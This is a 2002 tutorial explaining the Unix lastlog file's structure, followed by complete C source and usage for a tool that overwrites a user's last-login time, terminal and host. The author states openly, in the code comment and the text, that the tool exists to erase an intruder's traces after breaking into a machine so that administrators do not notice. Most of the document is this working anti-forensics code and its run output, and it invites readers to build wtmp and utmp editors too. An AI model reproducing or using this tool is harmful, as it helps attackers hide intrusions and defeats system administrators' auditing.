September 2002 LastLog Editor - Unix LogFiles Introduction ------------------ This tutorial was written to show Unix users how to create a simlpe Unix LogFile editor. I decided to write this article, right after I have read the tutorial by pajka (hysteria.sk), which talks about Unix LogFiles. This tutorial gives detailed information about LastLog logging file, the structure of the log file and how to change user's entry. Of course, you are welcomed to try and build LogFiles editors for wtmp, utmp etc. Lastlog logging file -------------------------- The LastLog log file contains information on each valid user on the Unix machine. To view the contents of the file, you cannot use a viewer, but you can use the lastlog command to view the login-name (user), port (terminal), last-login, time and date. You can use the command to print information on indivisual user by using lastlog -u USER_NAME. Three things may happen; first, if the user does not exit on the machine, lastlog will print the following error message: [danny@linux ~]$ lastlog -u no_user Uknown User: no_user If the requested user was never logged into the machine, lastlog will print **Never logged in**: [danny@linux ~]$ lastlog -u adm Username Port From Latest adm **Never logged in** If the requested user is valid, and was logged at least once to the machine, the following information will be printed: [danny@linux ~]$ lastlog -u danny Username Port From Latest danny :0 Thu Aug 29 15:46:08 +0000 2002 [danny@linux ~]$ lastlog -u root Username Port From Latest root tty1 Mon Sep 2 23:29:49 +0000 2002 The system stores the information in /var/log/lastlog (or in /var/adm/lastlog). Once you called lastlog, it opens the file, formats and prints the contents of the last logging log. If you don not specify a user, lastlog prints all entries, sorted by UID: [danny@linux ~]$ lastlog | less Username Port From Latest root tty1 Mon Sep 2 23:29:49 +0000 2002 bin **Never logged in** daemon **Never logged in** adm **Never logged in** .... .... danny :0 Thu Aug 29 15:46:08 +0000 2002 As stated above, if no user was supplied, lastlog would print all entries, sorted by UID. So, if we check the first four lines of /etc/passwd, and compare it to the first four lines of laslog | less, we'll find them equal: [danny@linux ~]$ head -n 4 /etc/passwd root:x:0.... bin:x:1.... daemon:x:2... adm:x3:... The lastlog log file contains all valid users on the machine, and each one of them "have" a structure, which is filled with the details about each user's login information. When you add a new user to the system, a unique ID is being assigned to that user, and LastLog file is updated automatically. The structure of LastLog file: 0 (struct lastlog) address: 0 (UID) x sizeof(struct lastlog) 1 (struct lastlog) address: 1 (UID) x sizeof(struct lastlog) ... ... 500 (struct lastlog) address: 500 (UID) x sizeof(struct lastlog) * If you add a new user, a new entry will be supplied to that user * 501 (struct lastlog) address: 501 (UID) x sizeof(struct lastlog) The Lastlog Editor ------------------- In my Lastlog editor, I have used the lastlog structure, which is defined in /bits/utmp.h (/usr/include/bits/utmp.h). The structure is defined as followed: struct lastlog { __time_t ll_time; char ll_line[UT_LINESIZE]; char ll_host[UT_HOSTSIZE]; } The ll_time contains the time and date the user was last logged, ll_line contains the port or terminal the user was logged from, ll_host contains the host, which the user was logged from (remotely). The propose of the editor is to change the information in this structure for the user root. The output of lastlog for user root: [danny@linux ~]$ lastlog -u root Username Port From Latest root tty1 Mon Sep 2 23:29:49 +0000 2002 On my machine, I was last logged on Monday September 2sd at 23:29:49 PM. Assume that I have got an access to a Unix machine. Once I logged with root or any other account, it will be logged and appear in /var/log/lastog (/var/adm/lastlog). This will cause a problem, since any serious administrator will check the lastlog file if he smells something suspicious. Here comes my small LastLog editor.... /* * Lastlog log editor * * Useful to delete your traces when you break into a * Unix machine, on which syslog daemon is running. * * Copyright (c) Danny (Dr.T) 2002 * admin@ebcvg.com * */ #include #include #include #include #include #include static char *s_hname = NULL; /* hostname */ static char *s_tdate = NULL; /* time & date */ static char *s_term = NULL; /* s_terminal/port */ static void usage(char *argv) { /* print usage for LastLog editor */ printf("LastLog Editor by Danny (Dr.T)\nUsage: %s [options]", argv); printf(" [-h hostname]"); printf(" -d date"); printf(" -t s_terminal\n"); exit(-1); } static void free_memory_and_exit(char *msg) { if (msg) fprintf(stderr, "Error: %s\n", msg); if (s_hname) { free(s_hname); s_hname = NULL; } if (s_tdate) { free(s_tdate); s_tdate = NULL; } if (s_term) { free(s_term); s_term = NULL; } exit(-1); } int main(int argc, char **argv) { struct lastlog sll; int c, file_hd = -1, sz_ll; /* check if we are running as root */ if (getuid() > 0) { free_memory_and_exit("only root can run me!!"); } /* check if we got seven or five (hostname omitted) arguments */ if (argc != 7 && argc != 5) usage(argv[0]); while ((c = getopt(argc, argv, "h:d:t:")) != -1) { if (optarg == NULL) free_memory_and_exit("command line parsing failed"); switch(c) { case 'h': if (strlen(optarg) > UT_HOSTSIZE - 1) free_memory_and_exit("hostname too long"); s_hname = (char *)malloc(strlen(optarg)+1); if (s_hname == NULL) free_memory_and_exit("malloc() failed"); strcpy(s_hname,optarg); break; case 'd': s_tdate = (char *)malloc(strlen(optarg)+1); if (s_tdate == NULL) { free_memory_and_exit("malloc() failed"); } strcpy(s_tdate,optarg); break; case 't': s_term = (char *)malloc(strlen(optarg)+1); if (s_term == NULL) { free_memory_and_exit("malloc() failed"); } strcpy(s_term,optarg); break; default: free_memory_and_exit("command line parsing failed"); break; } } /* open lastlog file and check for errors */ file_hd = open ("/var/log/lastlog", O_RDWR); if (file_hd < -1) free_memory_and_exit("open() /var/log/lastlog failed"); /* get the lastlog struct size */ sz_ll = sizeof (struct lastlog); /* set file pointer to the UID lastlog structure */ if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0) free_memory_and_exit("lseek() failed"); /* read information about UID to sll */ if ((read(file_hd, &sll, sz_ll)) < 0) free_memory_and_exit("read() failed"); /* set new time & date */ sll.ll_time = atoi(s_tdate); /* set new s_terminal/port */ strncpy(sll.ll_line, s_term, sizeof(sll.ll_line)); /* set the new hostname if specified */ if (s_hname == NULL) sll.ll_host[0] = '\0'; else strcpy(sll.ll_host, s_hname); /* set file pointer to the UID lastlog structure */ if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0) free_memory_and_exit("lseek() failed"); /* write new information */ if ((write(file_hd, &sll, sz_ll)) < 0) free_memory_and_exit("write() failed"); /* close /var/log/lastlog */ close(file_hd); fprintf(stdout, "LastLog editor was successfully updated information\n"); } The program has comments, so it should very easy to understand what it is doing. If you want to check it on other user (not root), just change the second argument of lseek() function to size * UID. Compile the program using GCC compiler as shown below: [danny@linux ~]$ gcc -o lastloge lastloge.c [danny@linux ~]$ su root_password [root@linux ~]# ./lastloge -h home.network.com -d 103674899 -t tty1 LastLog Editor was successfully updated information [root@linux ~]# lastlog -u root Username Port From Latest root tty1 home.network.com Sun Apr 15 00:34:59 +0000 1973 Final Words --------------- Building a Unix log file editor should not be a big problem. In this small tutorial, I have explained how to build a LastLog editor. Those of you who are curious, can try to build a wtmp and utmp logs editor. I hope you enjoyed reading my article, and if you have any question, comments, suggestion, please don't hesitate to contact me. Danny a.k.a Dr.T admin@ebcvg.com Copyright Sep 2002 (C) Danny (Dr.T)